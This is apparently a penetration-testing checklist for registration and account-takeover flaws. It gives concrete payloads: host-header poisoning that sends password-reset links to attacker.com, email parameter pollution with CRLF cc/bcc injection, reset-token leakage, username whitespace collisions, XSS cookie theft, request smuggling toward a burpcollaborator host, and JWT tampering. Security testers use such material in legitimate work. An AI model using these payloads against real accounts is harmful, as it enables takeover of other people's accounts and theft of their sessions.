Registration & Takeover Vulnerabilities
- Try to generate using an existing username
- Check varying the email:
- uppsercase
- add some some in the email
- special characters in the email name (%00, %09, %20)
- Put black characters after the email:
[email protected] a - [email protected]@attacker.com
- [email protected]@gmail.com
Check if you can figure out when a username has already been registered inside the application.
Creating a user check the password policy (check if you can use weak passwords).
In that case you may try to bruteforce credentials.
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
when registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
- Check if you can use disposable emails
- Long password (>200) leads to DoS
- Check rate limits on account creation
- Use [email protected]burp_collab.net and analyze the callback
- 1.Request password reset to your email address
- 2.Click on the password reset link
- 3.Don’t change password
- 4.Click any 3rd party websites(eg: Facebook, twitter)
- 5.Intercept the request in Burp Suite proxy
- 6.Check if the referer header is leaking password reset token.
- 1.Intercept the password reset request in Burp Suite
- 2.Add or edit the following headers in Burp Suite :
Host: attacker.com,X-Forwarded-Host: attacker.com - 3.Forward the request with the modified header
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com - 4.Look for a password reset URL based on the host header like :
https://attacker.com/reset-password.php?token=TOKEN
# parameter pollution
[email protected].com&[email protected].com
# array of emails
{"email":["[email protected]","[email protected]"]}
# carbon copy
[email protected].com%0A%0Dcc:[email protected].com
[email protected].com%0A%0Dbcc:[email protected].com
# separator
[email protected].com,[email protected].com
[email protected].com%[email protected].com
[email protected].com|[email protected].com
- 1.Attacker have to login with their account and go to the Change password feature.
- 2.Start the Burp Suite and Intercept the request
- 3.Send it to the repeater tab and edit the parameters : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"[email protected]","password":"securepwd"})
The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
- 1.Trigger a password reset request using the API/UI for a specific email e.g: [email protected]
- 2.Inspect the server response and check for
resetToken - 3.Then use the token in an URL like
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
- 1.Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g:
"admin " - 2.Request a password reset with your malicious username.
- 3.Use the token sent to your email and reset the victim password.
- 4.Connect to the victim account with the new password.
- 1.Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain :
*.domain.com - 2.Leak the current sessions cookie
- 3.Authenticate as the user using the cookie
1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:
GET http://something.burpcollaborator.net HTTP/1.1 X: with the goal of open redirect the victims to burpcollab and steal their cookies
3. Final request could look like the followingGET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
- 1.Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
- 2.Send the payload
JSON Web Token might be used to authenticate an user.
- Edit the JWT with another User ID / Email
- Check for weak JWT signature